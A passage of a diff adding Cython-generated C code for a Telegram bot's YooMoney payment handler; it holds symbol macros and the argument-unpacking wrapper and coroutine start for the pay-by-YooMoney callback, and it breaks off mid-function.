__pyx_mstate_global->__pyx_CyFunctionType +#endif +#ifdef __Pyx_FusedFunction_USED +#define __pyx_FusedFunctionType __pyx_mstate_global->__pyx_FusedFunctionType +#endif +#ifdef __Pyx_Generator_USED +#define __pyx_GeneratorType __pyx_mstate_global->__pyx_GeneratorType +#endif +#ifdef __Pyx_IterableCoroutine_USED +#define __pyx_IterableCoroutineType __pyx_mstate_global->__pyx_IterableCoroutineType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineAwaitType __pyx_mstate_global->__pyx_CoroutineAwaitType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineType __pyx_mstate_global->__pyx_CoroutineType +#endif +#if CYTHON_USE_MODULE_STATE +#define __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney __pyx_mstate_global->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney +#define __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection __pyx_mstate_global->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection +#define __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook __pyx_mstate_global->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook +#define __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount __pyx_mstate_global->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount +#define __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input __pyx_mstate_global->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input +#endif +#define __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney +#define __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection +#define __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook +#define __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount +#define __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input +#define __pyx_kp_u_Account_ID __pyx_mstate_global->__pyx_kp_u_Account_ID +#define __pyx_n_s_Any __pyx_mstate_global->__pyx_n_s_Any +#define __pyx_n_s_F __pyx_mstate_global->__pyx_n_s_F +#define __pyx_n_s_FSMContext __pyx_mstate_global->__pyx_n_s_FSMContext +#define __pyx_n_u_HASHHASHYOOKASSA __pyx_mstate_global->__pyx_n_u_HASHHASHYOOKASSA +#define __pyx_n_s_InlineKeyboardBuilder __pyx_mstate_global->__pyx_n_s_InlineKeyboardBuilder +#define __pyx_n_s_InlineKeyboardButton __pyx_mstate_global->__pyx_n_s_InlineKeyboardButton +#define __pyx_n_s_InlineKeyboardMarkup __pyx_mstate_global->__pyx_n_s_InlineKeyboardMarkup +#define __pyx_n_s_PAYMENT_OPTIONS __pyx_mstate_global->__pyx_n_s_PAYMENT_OPTIONS +#define __pyx_kp_u_Payment_succeeded_for_user_id __pyx_mstate_global->__pyx_kp_u_Payment_succeeded_for_user_id +#define __pyx_n_s_ReplenishBalanceState __pyx_mstate_global->__pyx_n_s_ReplenishBalanceState +#define __pyx_n_s_Response __pyx_mstate_global->__pyx_n_s_Response +#define __pyx_n_s_Router __pyx_mstate_global->__pyx_n_s_Router +#define __pyx_n_s_State __pyx_mstate_global->__pyx_n_s_State +#define __pyx_n_s_StatesGroup __pyx_mstate_global->__pyx_n_s_StatesGroup +#define __pyx_n_s_ValueError __pyx_mstate_global->__pyx_n_s_ValueError +#define __pyx_kp_u_Webhook_event_received __pyx_mstate_global->__pyx_kp_u_Webhook_event_received +#define __pyx_n_s_YOOKASSA_HASH __pyx_mstate_global->__pyx_n_s_YOOKASSA_HASH +#define __pyx_kp_u_YOOKASSA_HASH_2 __pyx_mstate_global->__pyx_kp_u_YOOKASSA_HASH_2 +#define __pyx_n_s_YOOMONEY_ENABLE __pyx_mstate_global->__pyx_n_s_YOOMONEY_ENABLE +#define __pyx_n_s_YOOMONEY_ID __pyx_mstate_global->__pyx_n_s_YOOMONEY_ID +#define __pyx_n_s_YOOMONEY_SECRET_KEY __pyx_mstate_global->__pyx_n_s_YOOMONEY_SECRET_KEY +#define __pyx_kp_u__10 __pyx_mstate_global->__pyx_kp_u__10 +#define __pyx_kp_u__12 __pyx_mstate_global->__pyx_kp_u__12 +#define __pyx_kp_u__13 __pyx_mstate_global->__pyx_kp_u__13 +#define __pyx_kp_u__15 __pyx_mstate_global->__pyx_kp_u__15 +#define __pyx_kp_u__16 __pyx_mstate_global->__pyx_kp_u__16 +#define __pyx_kp_u__19 __pyx_mstate_global->__pyx_kp_u__19 +#define __pyx_kp_u__2 __pyx_mstate_global->__pyx_kp_u__2 +#define __pyx_kp_u__20 __pyx_mstate_global->__pyx_kp_u__20 +#define __pyx_n_s__21 __pyx_mstate_global->__pyx_n_s__21 +#define __pyx_kp_u__22 __pyx_mstate_global->__pyx_kp_u__22 +#define __pyx_n_s__29 __pyx_mstate_global->__pyx_n_s__29 +#define __pyx_kp_u__3 __pyx_mstate_global->__pyx_kp_u__3 +#define __pyx_kp_u__4 __pyx_mstate_global->__pyx_kp_u__4 +#define __pyx_kp_u__6 __pyx_mstate_global->__pyx_kp_u__6 +#define __pyx_n_u__8 __pyx_mstate_global->__pyx_n_u__8 +#define __pyx_kp_u__9 __pyx_mstate_global->__pyx_kp_u__9 +#define __pyx_n_s_account_id __pyx_mstate_global->__pyx_n_s_account_id +#define __pyx_n_s_add_connection __pyx_mstate_global->__pyx_n_s_add_connection +#define __pyx_n_s_add_payment __pyx_mstate_global->__pyx_n_s_add_payment +#define __pyx_n_s_aiogram __pyx_mstate_global->__pyx_n_s_aiogram +#define __pyx_n_s_aiogram_fsm_context __pyx_mstate_global->__pyx_n_s_aiogram_fsm_context +#define __pyx_n_s_aiogram_fsm_state __pyx_mstate_global->__pyx_n_s_aiogram_fsm_state +#define __pyx_n_s_aiogram_types __pyx_mstate_global->__pyx_n_s_aiogram_types +#define __pyx_n_s_aiogram_utils_keyboard __pyx_mstate_global->__pyx_n_s_aiogram_utils_keyboard +#define __pyx_n_s_aiohttp __pyx_mstate_global->__pyx_n_s_aiohttp +#define __pyx_n_s_amount __pyx_mstate_global->__pyx_n_s_amount +#define __pyx_n_u_amount __pyx_mstate_global->__pyx_n_u_amount +#define __pyx_kp_u_amount_2 __pyx_mstate_global->__pyx_kp_u_amount_2 +#define __pyx_n_s_amount_str __pyx_mstate_global->__pyx_n_s_amount_str +#define __pyx_n_s_answer __pyx_mstate_global->__pyx_n_s_answer +#define __pyx_n_s_args __pyx_mstate_global->__pyx_n_s_args +#define __pyx_n_s_as_markup __pyx_mstate_global->__pyx_n_s_as_markup +#define __pyx_n_s_asyncio_coroutines __pyx_mstate_global->__pyx_n_s_asyncio_coroutines +#define __pyx_n_s_await __pyx_mstate_global->__pyx_n_s_await +#define __pyx_n_s_balance __pyx_mstate_global->__pyx_n_s_balance +#define __pyx_n_s_builder __pyx_mstate_global->__pyx_n_s_builder +#define __pyx_n_s_calculated_hash __pyx_mstate_global->__pyx_n_s_calculated_hash +#define __pyx_n_s_callback_data __pyx_mstate_global->__pyx_n_s_callback_data +#define __pyx_n_u_callback_data __pyx_mstate_global->__pyx_n_u_callback_data +#define __pyx_n_s_callback_query __pyx_mstate_global->__pyx_n_s_callback_query +#define __pyx_n_s_chat __pyx_mstate_global->__pyx_n_s_chat +#define __pyx_n_s_check_connection_exists __pyx_mstate_global->__pyx_n_s_check_connection_exists +#define __pyx_n_s_choosing_amount_yoomoney __pyx_mstate_global->__pyx_n_s_choosing_amount_yoomoney +#define __pyx_n_s_class_getitem __pyx_mstate_global->__pyx_n_s_class_getitem +#define __pyx_n_s_cline_in_traceback __pyx_mstate_global->__pyx_n_s_cline_in_traceback +#define __pyx_n_s_close __pyx_mstate_global->__pyx_n_s_close +#define __pyx_n_u_codepro __pyx_mstate_global->__pyx_n_u_codepro +#define __pyx_n_s_config __pyx_mstate_global->__pyx_n_s_config +#define __pyx_n_s_confirm_keyboard __pyx_mstate_global->__pyx_n_s_confirm_keyboard +#define __pyx_n_u_currency __pyx_mstate_global->__pyx_n_u_currency +#define __pyx_n_s_customer_id __pyx_mstate_global->__pyx_n_s_customer_id +#define __pyx_n_s_data __pyx_mstate_global->__pyx_n_s_data +#define __pyx_n_s_database __pyx_mstate_global->__pyx_n_s_database +#define __pyx_n_u_datetime __pyx_mstate_global->__pyx_n_u_datetime +#define __pyx_n_s_debug __pyx_mstate_global->__pyx_n_s_debug +#define __pyx_n_s_dict __pyx_mstate_global->__pyx_n_s_dict +#define __pyx_kp_u_disable __pyx_mstate_global->__pyx_kp_u_disable +#define __pyx_n_s_doc __pyx_mstate_global->__pyx_n_s_doc +#define __pyx_n_s_e __pyx_mstate_global->__pyx_n_s_e +#define __pyx_kp_u_enable __pyx_mstate_global->__pyx_kp_u_enable +#define __pyx_n_u_enter_custom_amount_yoomoney __pyx_mstate_global->__pyx_n_u_enter_custom_amount_yoomoney +#define __pyx_n_s_entering_custom_amount_yoomoney __pyx_mstate_global->__pyx_n_s_entering_custom_amount_yoomoney +#define __pyx_n_s_error __pyx_mstate_global->__pyx_n_s_error +#define __pyx_n_s_exists __pyx_mstate_global->__pyx_n_s_exists +#define __pyx_n_s_expected_hash __pyx_mstate_global->__pyx_n_s_expected_hash +#define __pyx_kp_u_gc __pyx_mstate_global->__pyx_kp_u_gc +#define __pyx_n_s_get __pyx_mstate_global->__pyx_n_s_get +#define __pyx_n_s_get_key_count __pyx_mstate_global->__pyx_n_s_get_key_count +#define __pyx_n_s_handlers_payments_gift __pyx_mstate_global->__pyx_n_s_handlers_payments_gift +#define __pyx_n_s_handlers_payments_utils __pyx_mstate_global->__pyx_n_s_handlers_payments_utils +#define __pyx_n_s_handlers_payments_yoomoney_pay __pyx_mstate_global->__pyx_n_s_handlers_payments_yoomoney_pay +#define __pyx_kp_s_handlers_payments_yoomoney_pay_p __pyx_mstate_global->__pyx_kp_s_handlers_payments_yoomoney_pay_p +#define __pyx_n_s_handlers_texts __pyx_mstate_global->__pyx_n_s_handlers_texts +#define __pyx_n_s_hashlib __pyx_mstate_global->__pyx_n_s_hashlib +#define __pyx_n_s_hexdigest __pyx_mstate_global->__pyx_n_s_hexdigest +#define __pyx_kp_u_https_yoomoney_ru_quickpay_confi __pyx_mstate_global->__pyx_kp_u_https_yoomoney_ru_quickpay_confi +#define __pyx_n_s_i __pyx_mstate_global->__pyx_n_s_i +#define __pyx_n_s_id __pyx_mstate_global->__pyx_n_s_id +#define __pyx_n_s_import __pyx_mstate_global->__pyx_n_s_import +#define __pyx_n_s_init_subclass __pyx_mstate_global->__pyx_n_s_init_subclass +#define __pyx_n_s_initializing __pyx_mstate_global->__pyx_n_s_initializing +#define __pyx_n_s_inline_keyboard __pyx_mstate_global->__pyx_n_s_inline_keyboard +#define __pyx_n_s_is_coroutine __pyx_mstate_global->__pyx_n_s_is_coroutine +#define __pyx_n_s_isdigit __pyx_mstate_global->__pyx_n_s_isdigit +#define __pyx_kp_u_isenabled __pyx_mstate_global->__pyx_kp_u_isenabled +#define __pyx_n_s_key_count __pyx_mstate_global->__pyx_n_s_key_count +#define __pyx_n_u_label __pyx_mstate_global->__pyx_n_u_label +#define __pyx_n_s_logger __pyx_mstate_global->__pyx_n_s_logger +#define __pyx_n_s_main __pyx_mstate_global->__pyx_n_s_main +#define __pyx_n_s_message __pyx_mstate_global->__pyx_n_s_message +#define __pyx_n_s_metaclass __pyx_mstate_global->__pyx_n_s_metaclass +#define __pyx_n_s_module __pyx_mstate_global->__pyx_n_s_module +#define __pyx_n_s_mro_entries __pyx_mstate_global->__pyx_n_s_mro_entries +#define __pyx_n_s_name __pyx_mstate_global->__pyx_n_s_name +#define __pyx_n_s_notification_secret __pyx_mstate_global->__pyx_n_s_notification_secret +#define __pyx_n_u_notification_type __pyx_mstate_global->__pyx_n_u_notification_type +#define __pyx_n_u_operation_id __pyx_mstate_global->__pyx_n_u_operation_id +#define __pyx_n_u_pay __pyx_mstate_global->__pyx_n_u_pay +#define __pyx_n_u_pay_yoomoney __pyx_mstate_global->__pyx_n_u_pay_yoomoney +#define __pyx_kp_u_paymentType_PC_comment_label __pyx_mstate_global->__pyx_kp_u_paymentType_PC_comment_label +#define __pyx_n_s_payment_url __pyx_mstate_global->__pyx_n_s_payment_url +#define __pyx_n_s_post __pyx_mstate_global->__pyx_n_s_post +#define __pyx_n_s_prepare __pyx_mstate_global->__pyx_n_s_prepare +#define __pyx_n_s_process_amount_selection __pyx_mstate_global->__pyx_n_s_process_amount_selection +#define __pyx_n_s_process_callback_pay_yoomoney __pyx_mstate_global->__pyx_n_s_process_callback_pay_yoomoney +#define __pyx_n_s_process_custom_amount_input __pyx_mstate_global->__pyx_n_s_process_custom_amount_input +#define __pyx_n_s_process_enter_custom_amount __pyx_mstate_global->__pyx_n_s_process_enter_custom_amount +#define __pyx_n_s_qualname __pyx_mstate_global->__pyx_n_s_qualname +#define __pyx_kp_u_quickpay_form_shop_targets_sum __pyx_mstate_global->__pyx_kp_u_quickpay_form_shop_targets_sum +#define __pyx_n_s_range __pyx_mstate_global->__pyx_n_s_range +#define __pyx_n_s_reply_markup __pyx_mstate_global->__pyx_n_s_reply_markup +#define __pyx_n_s_request __pyx_mstate_global->__pyx_n_s_request +#define __pyx_n_s_router __pyx_mstate_global->__pyx_n_s_router +#define __pyx_n_s_row __pyx_mstate_global->__pyx_n_s_row +#define __pyx_n_s_send __pyx_mstate_global->__pyx_n_s_send +#define __pyx_n_s_send_payment_success_notificatio __pyx_mstate_global->__pyx_n_s_send_payment_success_notificatio +#define __pyx_n_u_sender __pyx_mstate_global->__pyx_n_u_sender +#define __pyx_n_s_session __pyx_mstate_global->__pyx_n_s_session +#define __pyx_n_s_set_name __pyx_mstate_global->__pyx_n_s_set_name +#define __pyx_n_s_set_state __pyx_mstate_global->__pyx_n_s_set_state +#define __pyx_n_s_sha1 __pyx_mstate_global->__pyx_n_s_sha1 +#define __pyx_n_s_sha1_hash __pyx_mstate_global->__pyx_n_s_sha1_hash +#define __pyx_n_u_sha1_hash __pyx_mstate_global->__pyx_n_u_sha1_hash +#define __pyx_kp_u_solonet_sup __pyx_mstate_global->__pyx_kp_u_solonet_sup +#define __pyx_n_s_spec __pyx_mstate_global->__pyx_n_s_spec +#define __pyx_n_s_split __pyx_mstate_global->__pyx_n_s_split +#define __pyx_n_s_startswith __pyx_mstate_global->__pyx_n_s_startswith +#define __pyx_n_s_state __pyx_mstate_global->__pyx_n_s_state +#define __pyx_n_s_status __pyx_mstate_global->__pyx_n_s_status +#define __pyx_n_s_string_to_hash __pyx_mstate_global->__pyx_n_s_string_to_hash +#define __pyx_n_s_super __pyx_mstate_global->__pyx_n_s_super +#define __pyx_n_s_test __pyx_mstate_global->__pyx_n_s_test +#define __pyx_n_s_text __pyx_mstate_global->__pyx_n_s_text +#define __pyx_n_u_text __pyx_mstate_global->__pyx_n_u_text +#define __pyx_n_s_tg_id __pyx_mstate_global->__pyx_n_s_tg_id +#define __pyx_n_s_throw __pyx_mstate_global->__pyx_n_s_throw +#define __pyx_n_s_trial __pyx_mstate_global->__pyx_n_s_trial +#define __pyx_n_s_types __pyx_mstate_global->__pyx_n_s_types +#define __pyx_kp_s_types_CallbackQuery __pyx_mstate_global->__pyx_kp_s_types_CallbackQuery +#define __pyx_kp_s_types_Message __pyx_mstate_global->__pyx_kp_s_types_Message +#define __pyx_n_s_typing __pyx_mstate_global->__pyx_n_s_typing +#define __pyx_n_s_update_balance __pyx_mstate_global->__pyx_n_s_update_balance +#define __pyx_n_s_update_data __pyx_mstate_global->__pyx_n_s_update_data +#define __pyx_n_s_url __pyx_mstate_global->__pyx_n_s_url +#define __pyx_n_s_user_id __pyx_mstate_global->__pyx_n_s_user_id +#define __pyx_kp_u_user_id_amount __pyx_mstate_global->__pyx_kp_u_user_id_amount +#define __pyx_n_s_user_id_str __pyx_mstate_global->__pyx_n_s_user_id_str +#define __pyx_n_s_waiting_for_payment_confirmation __pyx_mstate_global->__pyx_n_s_waiting_for_payment_confirmation +#define __pyx_n_s_web __pyx_mstate_global->__pyx_n_s_web +#define __pyx_kp_s_web_Request __pyx_mstate_global->__pyx_kp_s_web_Request +#define __pyx_n_u_withdraw_amount __pyx_mstate_global->__pyx_n_u_withdraw_amount +#define __pyx_n_u_yoomoney __pyx_mstate_global->__pyx_n_u_yoomoney +#define __pyx_n_u_yoomoney_2 __pyx_mstate_global->__pyx_n_u_yoomoney_2 +#define __pyx_n_u_yoomoney_amount __pyx_mstate_global->__pyx_n_u_yoomoney_amount +#define __pyx_n_s_yoomoney_webhook __pyx_mstate_global->__pyx_n_s_yoomoney_webhook +#define __pyx_float_0_0 __pyx_mstate_global->__pyx_float_0_0 +#define __pyx_int_0 __pyx_mstate_global->__pyx_int_0 +#define __pyx_int_1 __pyx_mstate_global->__pyx_int_1 +#define __pyx_int_2 __pyx_mstate_global->__pyx_int_2 +#define __pyx_int_200 __pyx_mstate_global->__pyx_int_200 +#define __pyx_int_400 __pyx_mstate_global->__pyx_int_400 +#define __pyx_codeobj_ __pyx_mstate_global->__pyx_codeobj_ +#define __pyx_tuple__7 __pyx_mstate_global->__pyx_tuple__7 +#define __pyx_tuple__17 __pyx_mstate_global->__pyx_tuple__17 +#define __pyx_tuple__23 __pyx_mstate_global->__pyx_tuple__23 +#define __pyx_tuple__24 __pyx_mstate_global->__pyx_tuple__24 +#define __pyx_tuple__25 __pyx_mstate_global->__pyx_tuple__25 +#define __pyx_tuple__26 __pyx_mstate_global->__pyx_tuple__26 +#define __pyx_tuple__27 __pyx_mstate_global->__pyx_tuple__27 +#define __pyx_tuple__28 __pyx_mstate_global->__pyx_tuple__28 +#define __pyx_codeobj__5 __pyx_mstate_global->__pyx_codeobj__5 +#define __pyx_codeobj__11 __pyx_mstate_global->__pyx_codeobj__11 +#define __pyx_codeobj__14 __pyx_mstate_global->__pyx_codeobj__14 +#define __pyx_codeobj__18 __pyx_mstate_global->__pyx_codeobj__18 +/* #### Code section: module_code ### */ +static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/yoomoney_pay.py":38 + * + * + * @router.callback_query(F.data == "pay_yoomoney") # <<<<<<<<<<<<<< + * async def process_callback_pay_yoomoney( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_1process_callback_pay_yoomoney(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_12yoomoney_pay_1process_callback_pay_yoomoney = {"process_callback_pay_yoomoney", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yoomoney_pay_1process_callback_pay_yoomoney, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_1process_callback_pay_yoomoney(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + PyObject *__pyx_v_session = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[3] = {0,0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_yoomoney (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,&__pyx_n_s_session,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 3: values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + CYTHON_FALLTHROUGH; + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 38, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 38, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_callback_pay_yoomoney", 1, 3, 3, 1); __PYX_ERR(0, 38, __pyx_L3_error) + } + CYTHON_FALLTHROUGH; + case 2: + if (likely((values[2] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_session)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 38, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_callback_pay_yoomoney", 1, 3, 3, 2); __PYX_ERR(0, 38, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_callback_pay_yoomoney") < 0)) __PYX_ERR(0, 38, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 3)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + __pyx_v_session = values[2]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_callback_pay_yoomoney", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 38, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.process_callback_pay_yoomoney", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_12yoomoney_pay_process_callback_pay_yoomoney(__pyx_self, __pyx_v_callback_query, __pyx_v_state, __pyx_v_session); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_process_callback_pay_yoomoney(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state, PyObject *__pyx_v_session) { + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_callback_pay_yoomoney", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney *)__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 38, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + __pyx_cur_scope->__pyx_v_session = __pyx_v_session; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yoomoney_pay_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_callback_pay_yoomoney, __pyx_n_s_process_callback_pay_yoomoney, __pyx_n_s_handlers_payments_yoomoney_pay); if (unlikely(!gen)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.process_callback_pay_yoomoney", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + int __pyx_t_2; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + unsigned int __pyx_t_5; + Py_ssize_t __pyx_t_6; + PyObject *(*__pyx_t_7)(PyObject *); + Py_ssize_t __pyx_t_8; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + int __pyx_t_15; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_yoomoney", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L5_resume_from_await; + case 2: goto __pyx_L10_resume_from_await; + case 3: goto __pyx_L12_resume_from_await; + case 4: goto __pyx_L14_resume_from_await; + case 5: goto __pyx_L15_resume_from_await; + case 6: goto 